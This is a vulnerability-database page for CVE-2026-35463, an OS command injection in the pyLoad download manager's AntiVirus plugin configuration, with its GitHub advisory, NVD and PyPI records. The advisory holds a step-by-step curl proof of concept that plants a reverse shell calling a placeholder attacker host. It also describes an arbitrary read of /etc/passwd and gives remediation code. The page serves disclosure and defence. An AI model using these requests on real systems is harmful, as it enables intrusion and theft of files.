Vulnerability-Lookup

CVE-2026-35463 (GCVE-0-2026-35463)

Vulnerability from cvelistv5 – Published: 2026-04-07 14:32 – Updated: 2026-04-08 14:46

Title

pyLoad has Improper Neutralization of Special Elements used in an OS Command

Summary

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-08 14:45 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/pyload/pyload/security/advisor…	x_refsource_CONFIRM
https://github.com/pyload/pyload/commit/c4cf995a2…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
pyload	pyload	Affected: <= 0.5.0b3.dev96	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35463

Vulnerability from fkie_nvd - Published: 2026-04-07 15:17 - Updated: 2026-06-17 10:40

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1	Patch
	security-advisories@github.com	https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	pyload-ng_project	pyload-ng	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.5.0b3.dev96"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
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    }
  ],
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  "lastModified": "2026-06-17T10:40:38.503",
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GHSA-W48F-WWWF-F5FR

Vulnerability from github – Published: 2026-04-04 06:41 – Updated: 2026-04-07 19:59

Summary

pyLoad: Improper Neutralization of Special Elements used in an OS Command

Details

Summary

The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Details

Safe wrapper — ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):

ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}

Where it IS enforced — core config (core/api/init.py:255):

def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...

Where it is NOT enforced — plugin config (core/api/init.py:271-272):

    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)

Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):

def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE

PoC

# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user

Additional Finding: Arbitrary File Read via storage_folder

The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

Impact

Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config
Privilege escalation — SETTINGS permission (non-admin) escalates to full system access
Arbitrary file read — Via storage_folder manipulation

Remediation

Apply ADMIN_ONLY_OPTIONS to plugin config as well:

# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")

Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:41:59Z",
    "nvd_published_at": "2026-04-07T15:17:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper \u2014 `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n    \"reconnect.script\",      # Blocks script path change\n    \"webui.host\",            # Blocks bind address change\n    \"ssl.cert_file\",         # Blocks cert path change\n    \"ssl.key_file\",          # Blocks key path change\n    # ... other sensitive options\n}\n```\n\n**Where it IS enforced \u2014 core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n    if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n        if not self.user.is_admin:\n            raise PermissionError(\"Admin only\")\n    # ...\n```\n\n**Where it is NOT enforced \u2014 plugin config (core/api/__init__.py:271-272):**\n\n```python\n    # Plugin config - NO admin check at all\n    self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink \u2014 AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n    avfile = self.config.get(\"avfile\")    # User-controlled via plugin config\n    avargs = self.config.get(\"avargs\")\n    subprocess.Popen([avfile, avargs, target])  # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d \u0027section=plugin\u0027 \\\n  -d \u0027option=AntiVirus.avfile\u0027 \\\n  -d \u0027value=/bin/bash\u0027\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d \u0027section=plugin\u0027 \\\n  -d \u0027option=AntiVirus.avargs\u0027 \\\n  -d \u0027value=-c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER/4444 0\u003e\u00261\"\u0027\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d \u0027section=plugin\u0027 \\\n  -d \u0027option=AntiVirus.activated\u0027 \\\n  -d \u0027value=True\u0027\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n  -d \u0027name=test\u0027 \\\n  -d \u0027links=http://example.com/test.zip\u0027\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic \u2014 it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** \u2014 Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** \u2014 SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** \u2014 Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n    \"AntiVirus.avfile\",\n    \"AntiVirus.avargs\",\n    # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n    if not self.user.is_admin:\n        raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.",
  "id": "GHSA-w48f-wwwf-f5fr",
  "modified": "2026-04-07T19:59:57Z",
  "published": "2026-04-04T06:41:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Improper Neutralization of Special Elements used in an OS Command"
}

PYSEC-2026-2267

Vulnerability from pysec - Published: 2026-04-07 15:17 - Updated: 2026-07-13 05:51

Details

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
pyload-ng	pkg:pypi/pyload-ng

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng",
        "purl": "pkg:pypi/pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0a5.dev528",
        "0.5.0a5.dev532",
        "0.5.0a5.dev535",
        "0.5.0a5.dev536",
        "0.5.0a5.dev537",
        "0.5.0a5.dev539",
        "0.5.0a5.dev540",
        "0.5.0a5.dev545",
        "0.5.0a5.dev562",
        "0.5.0a5.dev564",
        "0.5.0a5.dev565",
        "0.5.0a6.dev570",
        "0.5.0a6.dev578",
        "0.5.0a6.dev587",
        "0.5.0a7.dev596",
        "0.5.0a8.dev602",
        "0.5.0a9.dev615",
        "0.5.0a9.dev629",
        "0.5.0a9.dev632",
        "0.5.0a9.dev641",
        "0.5.0a9.dev643",
        "0.5.0a9.dev655",
        "0.5.0a9.dev806",
        "0.5.0b1.dev1",
        "0.5.0b1.dev2",
        "0.5.0b1.dev3",
        "0.5.0b1.dev4",
        "0.5.0b1.dev5",
        "0.5.0b2.dev10",
        "0.5.0b2.dev11",
        "0.5.0b2.dev12",
        "0.5.0b2.dev9",
        "0.5.0b3.dev13",
        "0.5.0b3.dev14",
        "0.5.0b3.dev17",
        "0.5.0b3.dev18",
        "0.5.0b3.dev19",
        "0.5.0b3.dev20",
        "0.5.0b3.dev21",
        "0.5.0b3.dev22",
        "0.5.0b3.dev24",
        "0.5.0b3.dev26",
        "0.5.0b3.dev27",
        "0.5.0b3.dev28",
        "0.5.0b3.dev29",
        "0.5.0b3.dev30",
        "0.5.0b3.dev31",
        "0.5.0b3.dev32",
        "0.5.0b3.dev33",
        "0.5.0b3.dev34",
        "0.5.0b3.dev35",
        "0.5.0b3.dev38",
        "0.5.0b3.dev39",
        "0.5.0b3.dev40",
        "0.5.0b3.dev41",
        "0.5.0b3.dev42",
        "0.5.0b3.dev43",
        "0.5.0b3.dev44",
        "0.5.0b3.dev45",
        "0.5.0b3.dev46",
        "0.5.0b3.dev47",
        "0.5.0b3.dev48",
        "0.5.0b3.dev49",
        "0.5.0b3.dev50",
        "0.5.0b3.dev51",
        "0.5.0b3.dev52",
        "0.5.0b3.dev53",
        "0.5.0b3.dev54",
        "0.5.0b3.dev57",
        "0.5.0b3.dev60",
        "0.5.0b3.dev62",
        "0.5.0b3.dev64",
        "0.5.0b3.dev65",
        "0.5.0b3.dev66",
        "0.5.0b3.dev67",
        "0.5.0b3.dev68",
        "0.5.0b3.dev69",
        "0.5.0b3.dev70",
        "0.5.0b3.dev71",
        "0.5.0b3.dev72",
        "0.5.0b3.dev73",
        "0.5.0b3.dev74",
        "0.5.0b3.dev75",
        "0.5.0b3.dev76",
        "0.5.0b3.dev77",
        "0.5.0b3.dev78",
        "0.5.0b3.dev79",
        "0.5.0b3.dev80",
        "0.5.0b3.dev81",
        "0.5.0b3.dev82",
        "0.5.0b3.dev85",
        "0.5.0b3.dev87",
        "0.5.0b3.dev88",
        "0.5.0b3.dev89",
        "0.5.0b3.dev90",
        "0.5.0b3.dev91",
        "0.5.0b3.dev92",
        "0.5.0b3.dev93",
        "0.5.0b3.dev94",
        "0.5.0b3.dev95",
        "0.5.0b3.dev96"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35463",
    "GHSA-w48f-wwwf-f5fr"
  ],
  "details": "pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.",
  "id": "PYSEC-2026-2267",
  "modified": "2026-07-13T05:51:03.545971Z",
  "published": "2026-04-07T15:17:44.363Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-35463 (GCVE-0-2026-35463)

FKIE_CVE-2026-35463

GHSA-W48F-WWWF-F5FR

Summary

Details

PoC

Additional Finding: Arbitrary File Read via storage_folder

Impact

Remediation

PYSEC-2026-2267

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour